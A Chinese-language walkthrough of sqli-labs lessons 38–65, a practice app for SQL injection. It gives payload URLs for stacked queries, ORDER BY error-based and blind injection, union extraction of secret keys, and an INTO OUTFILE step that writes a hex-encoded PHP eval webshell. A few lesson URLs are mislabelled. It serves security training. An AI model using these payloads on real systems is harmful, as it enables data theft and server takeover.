这一部分训练的是堆叠查询(其实就是MySQL多语句查询)和order by注入。
Lession38
http://localhost/sqli-labs/Less-38/index.php?id=1';create database hack–+
Lession39-45
这几关其实和Lession38区别不大,所以不做详细介绍,可根据关键的SQL语句进行注入。
Lession46
这一关开始,练习order by注入了,关键SQL语句为:$sql = “SELECT * FROM users ORDER BY $id”;
尝试访问
http://192.168.1.154/sqli-labs/Less-46/?sort=1 asc
http://192.168.1.154/sqli-labs/Less-46/?sort=1 desc
如果两个页面内容不相同,则存在注入,因为asc表示升序,desc表示降序,返回的内容是不同的。
可以使用双查询报错注入
sort=(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)))
还有一种方式就是进行盲注
sort的值等于rand(true)和rand(false)时,页面的返回值是不一样的。
所以我们就可以在rand函数中使用表达式或者判断语句作为参数进行盲注,例子如下
http://192.168.1.154/sqli-labs/Less-46/?sort=rand(ascii(substr(database(),1,1))=115)
查询结果和rand(true)一样,所以数据库名的第一个字符的ASCII码为115
延时盲注的例子如下
http://192.168.1.154/sqli-libs/Less-46/?sort=1 and If(ascii(substr(database(),1,1))=116,0,sleep(1))
利用procedure analyse()参数报错注入
http://192.168.0.29/sqli-labs/Less-46/?sort=1 procedure analyse(extractvalue(1,concat(0x3a,database())),1)
还可以使用into outfile写马
http://192.168.0.29/sqli-labs/Less-46/?sort=1 into outfile ‘C:/phpStudy/WWW/shell1.php’ lines terminated by 0x3c3f70687020406576616c28245f504f53545b5f5d293b203f3e
Lession47-53
之后这几关和前的都类似,不赘述。
Lession54-65其实就是结合之前学习的知识,进行注入,要求注出secret_key,每关的注入次数有限,超过会重置相应的数据库记录。
Lession54
http://192.168.0.29/sqli-labs/Less-55/index.php?id=-1’ union select 1,2,secret_DTOX from 22kjqv7k9k–+
Lession55
http://192.168.0.29/sqli-labs/Less-55/index.php?id=-1) union select 1,2,secret_DTOX from 22kjqv7k9k–+
Lession56
http://192.168.0.29/sqli-labs/Less-55/index.php?id=-1’) union select 1,2,secret_DTOX from 22kjqv7k9k–+
Lession57-65
不写了,自行举一反三。